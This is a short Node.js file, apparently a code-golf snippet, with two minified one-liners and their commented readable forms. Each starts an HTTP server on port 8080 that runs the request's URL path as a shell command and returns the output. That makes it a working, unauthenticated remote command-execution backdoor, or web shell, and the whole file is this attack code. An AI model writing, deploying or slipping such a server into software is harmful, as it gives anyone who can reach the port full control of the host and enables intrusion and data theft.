var http=require('http');var exec=require('child_process').exec;http.createServer((r,p)=>{exec(unescape(r.url.substr(1)),function(error,stdout,stderr){p.write(stdout);p.end();});}).listen(8080);
/*
var http = require('http');
var exec = require('child_process').exec;

http.createServer(function (request, response) {
    var cmd = unescape(request.url.substr(1));
    exec(cmd, function (error, stdout, stderr) {
        response.write(stdout);
        response.end();
    });
}).listen(8080);
*/
require('http').createServer((r,p)=>{require('child_process').exec(unescape(r.url.substr(1)),(e,o)=>{p.write(o);p.end();});}).listen(8080);
/*
require('http').createServer((request, response) => {
    var cmd = unescape(request.url.substr(1));
    require('child_process').exec(cmd, (error, stdout, stderr) => {
        response.write(stdout);
        response.end();
    });
}).listen(8080);
*/
Update smaller version 139 bytes
Update smaller version 139 bytes
